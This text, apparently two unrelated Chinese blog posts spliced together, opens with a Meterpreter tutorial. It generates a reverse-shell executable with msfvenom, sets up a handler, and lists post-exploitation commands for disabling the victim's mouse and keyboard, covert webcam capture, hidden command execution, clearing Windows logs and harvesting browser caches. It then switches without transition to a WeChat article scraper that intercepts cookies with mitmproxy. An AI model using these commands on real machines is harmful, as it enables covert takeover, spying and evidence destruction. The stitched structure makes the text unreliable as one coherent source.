Meterpreter
Meterpreter是Metasploit框架中的一個擴展模塊,作為溢出成功以后的攻擊載荷使用,攻擊載荷在溢出攻擊成功以后給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpreter shell的鏈接。Meterpreter shell作為滲透模塊有很多有用的功能,比如添加一個用戶、隱藏一些東西、打開shell、得到用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、得到遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等信息。
查看kali和window的ip
在kali終端ifconfig,ip是192.168.0.103
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=5555 -f exe -o met.exe
生成met.exe可執行的exe,并點擊執行。
復制到win10主機,需要關閉window的防火墻
window點擊exe前,kali需要進入msfconsole, 5555需要對應
msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.103
lhost => 192.168.0.103
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
exploit命令發起攻擊
在window桌面不小心放在重要的文件,直接cat查詢
補充下,msfconsole的一些命令,只有控制了window,下面的命令都可以執行。
# 讓他不能用鼠標
uictl開關鍵盤/鼠標
uictl [enable/disable] [keyboard/mouse/all] #開啟或禁止鍵盤/鼠標
uictl disable mouse #禁用鼠標
uictl disable keyboard #禁用鍵盤
# 如果開了攝像頭拍照
webcam攝像頭命令
webcam_list #查看攝像頭
webcam_snap #通過攝像頭拍照
webcam_stream #通過攝像頭開啟視頻
execute執行文件
execute #在目標機中執行文件
execute -H -i -f cmd.exe # 創建新進程cmd.exe,-H不可見,-i交互
# clearav清除日志
clearav #清除windows中的應用程序日志、系統日志、安全日志
# 基本網絡命令
ipconfig/ifconfig
netstat –ano
arp
getproxy #查看代理信息
route #查看路由
# 信息收集的腳本位于:
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
# 信息收集的腳本較多,僅列幾個常用的:
run post/windows/gather/checkvm #是否虛擬機
run post/linux/gather/checkvm #是否虛擬機
run post/windows/gather/forensics/enum_drives #查看分區
run post/windows/gather/enum_applications #獲取安裝軟件信息
run post/windows/gather/dumplinks #獲取最近的文件操作
run post/windows/gather/enum_ie #獲取IE緩存
run post/windows/gather/enum_chrome #獲取Chrome緩存
run post/windows/gather/enum_patches #補丁信息
run post/windows/gather/enum_domain #查找域控
其實很弄別人是不行的,別人怎么會傻傻的關防火墻。
實現這一個功能主要用到了selenium、mitmproxy和wechatarticles,利用selenium可以實現腳本模擬瀏覽器訪問,mitmproxy配合wechatarticles獲取文章信息。
參考文章:
python爬取微信公眾號文章(包含文章內容和圖片)
記一次微信公眾號爬蟲的經歷(微信文章閱讀點贊的獲取)
微信公眾號文章全自動采集(使用mitmproxy抓包,然后用pywinauto實現自動點擊)微信app_msg動態獲取
selenium
selenium有一個官網,建議通過官網的教程入門。Getting Started主要有兩步(我用的是python),一個是安裝python的包,另一個就是還要下載瀏覽器的驅動文件,并且設置好環境變量。
mitmproxy
mitmproxy也有一個官網,在官網文檔里的Getting Started里面寫了,它默認監聽本地的8080端口。有了這個代理,我們就可以獲取網絡傳輸中的數據包,要把它用起來就需要對代理進行設置。因為后面需要微信客戶端的數據包收發進行監聽,所以我直接對系統的代理進行了設置。
可以直接在windows桌面的搜索欄中搜索“代理”,就可以找到“代理服務器設置”,然后手動如圖設置代理即可。
具體實現流程
具體步驟分為兩步:
文章鏈接獲取
按照上面第一篇參考文章中的方法,獲取文章鏈接。值得一提的是,只要有微信和一個郵箱,就可以注冊一個訂閱號。這個郵箱綁定了訂閱號之后就不能用來綁定其他的東西了,比如小程序。就一開始我的微信用一個郵箱綁定了一個小程序,然后微信登錄的時候一直只有小程序的選項。這個時候其實只需要再搞一個郵箱,然后注冊一個訂閱號就可以了。
公眾號管理界面可能跟上面文章中所說的不一樣了,但實際上變化不大,還是只需要通過創建新的圖文消息,來進入公眾號文章鏈接引用的界面。
利用login.py和get_article_link.py兩個文件獲取所有文章鏈接。首先用login.py獲取cookies,再用get_articleInfo.py獲取文章鏈接。在使用的時候發現,這個網頁也有反爬的機制,出現錯誤之后就等幾個小時再繼續。
和參考的文章中不一樣的地方在于,我用的是Edge瀏覽器,然后在獲取文章鏈接的同時還獲取了文章的發布時間。具體的參數需要參考原文。
# -!- coding: utf-8 -!-
# login.py 用于保存微信帳號登錄信息
# 以下代碼中的微信登錄帳號密碼需要修改
from selenium import webdriver
import time
import json
driver = webdriver.Edge()
driver.get("https://mp.weixin.qq.com/") # 微信公眾平臺網址
driver.find_element_by_link_text("使用帳號登錄").click() # 切換到用帳號密碼登錄
driver.find_element_by_name("account").clear()
driver.find_element_by_name("account").send_keys("帳號") # 自己的微信公眾號
time.sleep(2)
driver.find_element_by_name("password").clear()
driver.find_element_by_name("password").send_keys("密碼") # 自己的微信公眾號密碼
driver.find_element_by_class_name("icon_checkbox").click()
time.sleep(2)
driver.find_element_by_class_name("btn_login").click()
time.sleep(15)
#此時會彈出掃碼頁面,需要微信掃碼
cookies = driver.get_cookies() # 獲取登錄后的cookies
print(cookies)
cookie = {}
for items in cookies:
cookie[items.get("name")] = items.get("value")
# 將cookies寫入到本地文件,供以后程序訪問公眾號時攜帶作為身份識別用
with open('cookies.txt', "w") as file:
# 寫入轉成字符串的字典
file.write(json.dumps(cookie))
# -*- coding:utf-8 -*-
# get_article_link.py
# 參考第一篇文章鏈接,需要對一些參數進行修改
# 在參考文章的基礎上,增加了文章發布時間的條目
import requests
import json
import re
import time
with open("cookies.txt", "r") as file:
cookie = file.read()
cookies = json.loads(cookie)
url = "https://mp.weixin.qq.com"
response = requests.get(url, cookies=cookies)
print(response.url)
token = re.findall(r'token=(\d+)', str(response.url))[0] # 從url中獲取token
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Edg/94.0.992.50", # 需要根據需求修改
"Referer": "https://mp.weixin.qq.com/cgi-bin/appmsg?t=media/appmsg_edit_v2&action=edit&isNew=1&type=77&createType=0&token="+token+"&lang=zh_CN", # 需要根據需求修改
"Host": "mp.weixin.qq.com",
}
with open('article_link.txt', "w", encoding='utf-8') as file:
for j in range(1, 53, 1): # 循環次數根據實際情況進行設置
begin = (j-1)*5
requestUrl = "https://mp.weixin.qq.com/cgi-bin/appmsg?action=list_ex&begin="+str(begin)+"&count=5&fakeid=MzU4MjY2OTY2NQ==&type=9&query=&token="+token+"&lang=zh_CN&f=json&ajax=1"
search_response = requests.get(requestUrl, cookies=cookies, headers=headers)
re_text = search_response.json()
list = re_text.get("app_msg_list")
for i in list:
timestr = i["create_time"]
timeArray = time.localtime(int(timestr))
otherStyleTime = time.strftime("%Y-%m-%d %H:%M:%S", timeArray) # 文章發布時間
file.write(i["aid"]+"<=====>"+i["title"]+"<=====>"+i["link"] + "<=====>" + otherStyleTime + "\n")
print(i["aid"]+"<=====>"+i["title"]+"<=====>"+i["link"] + "<=====>" + otherStyleTime)
time.sleep(20)
獲得的文本文件,可以導入Excel做成表格。在Excel中選擇從文本導入數據,分隔符設置為“”。我在導入的時候遇到了一點問題,就有些地方它不識別這個分割符號。我就把這個“”“”“”,在文本文件中全部替換成分號,再用Excel導入就沒問題了。
獲取文章信息
獲取文章信息是參考第二和第三篇文章做的。想要獲取微信公眾號文章的閱讀量、點贊等信息,在瀏覽器中打開微信公眾號文章是沒有用的。只有通過微信打開才能拿到這些信息。所以在第三篇文章中,原作者就搞了一個自動控制微信的腳本,在文件傳輸助手中點擊文章鏈接來產生帶cookie和appmsg_token的包。但如果文章數量比較少,其實可以手動點。經過測試,每次獲得的cookie和appmsg_token至少可以用來獲取100篇文章的信息。
# -*- coding:utf-8 -*-
# write_cookies.py
import urllib
import sys
from mitmproxy import ctx
from mitmproxy import io, http
# command: mitmdump -s write_cookies.py -w dat mp.weixin.qq.com/mp/getappmsgext
class WriterCookie:
"""
mitmproxy的監聽腳本,寫入cookie和url到文件
"""
def __init__(self,outfile: str) -> None:
self.f = open(outfile, "w")
def response(self, flow: http.HTTPFlow) -> None:
"""
完整的response響應
:param flow: flow實例,
"""
# 獲取url
url = urllib.parse.unquote(flow.request.url)
# 將url和cookie寫入文件
if "mp.weixin.qq.com/mp/getappmsgext" in url:
self.f.write(url + '\n')
self.f.write(str(flow.request.cookies))
self.f.close()
# 退出
exit()
# 第四個命令中的參數
addons = [WriterCookie(sys.argv[4])]
write_cookies.py是mitmproxy的監聽腳本,可以從下面的命令看出來,當它監聽到“mp.weixin.qq.com/mp/getappmsgext”這種請求包時,就把請求包的內容保存下來。這種請求就是每次微信打開公眾號文章是發出的請求包。
"mitmdump -s {}/write_cookies.py -w {} mp.weixin.qq.com/mp/getappmsgext".format('./cookie.txt')
# -*- coding:utf-8 -*-
# get_Info.py
import re
import os
import threading
from wechatarticles import ArticlesInfo
import time
class ReadCookie(object):
"""
啟動write_cookie.py 和 解析cookie文件,
"""
def __init__(self,outfile):
self.outfile = outfile
print(self.outfile)
def parse_cookie(self):
"""
解析cookie
:return: appmsg_token, biz, cookie_str·
"""
with open(self.outfile) as f:
data = f.read()
appmsg_token_string = re.findall("appmsg_token.+?&", data)[0].split('=')[1]
cookies = re.findall(r"\['(.*?)'\]", data)
Wechat_cookies = {}
for cookie in cookies:
cookie = cookie.split("', '")
Wechat_cookies[cookie[0]] = cookie[1]
return appmsg_token_string,Wechat_cookies
def write_cookie(self):
"""
啟動 write_cookies。py
:return:
"""
#當前文件路徑
path = os.path.split(os.path.realpath(__file__))[0]
#path = os.getcwd()
print(path)
# mitmdump -s 執行腳本 -w 保存到文件 本命令
command = "mitmdump -s {}/write_cookies.py -w {} mp.weixin.qq.com/mp/getappmsgext".format(
path,self.outfile)
os.system(command)
def get_cookie():
rc = ReadCookie('cookie.txt')
rc.write_cookie()
appmsg_token_string, cookies = rc.parse_cookie()
return appmsg_token_string, cookies
fp_src = open('links.txt', 'r')
fp_dst = open('articleInfo.txt', 'w')
count = 0
while True:
# 登錄微信PC端獲取文章信息
appmsg_token, cookies = get_cookie()
# print(appmsg_token_string)
cookie = ''
for ck in cookies.items():
if not cookie:
cookie = cookie + ck[0] + '=' + ck[1]
else:
cookie = cookie + '; ' + ck[0] + '=' + ck[1]
print(cookie)
for i in range(100):
url = fp_src.readline()
if not url:
break
article_url = url
test = ArticlesInfo(appmsg_token, cookie)
read_num, like_num, old_like_num = test.read_like_nums(article_url)
count = count + 1
print(str(count) + " read_like_num:", read_num, like_num, old_like_num)
fp_dst.write(str(read_num) + ';' + str(like_num) + ';' + str(old_like_num) + '\n')
time.sleep(3)
對監聽到的包解析之后就可以獲取我們需要的cookie和appmsg_token,然后那這個去獲取微信公眾號的文章信息,重復100次后,再去更新cookie和appmsg_token。在此之前,我已經事先把所有文章的鏈接都存到了一個文本文件“links.txt”中,每次都從里面讀一行就是一個文章鏈接。
然后每到100條記錄之后,我就手動點這個文件傳輸窗口中的鏈接,就是每次命令行提示下面的信息的時候,我就點一下上面文件傳輸助手中的鏈接來更新cookie和appmsg_token。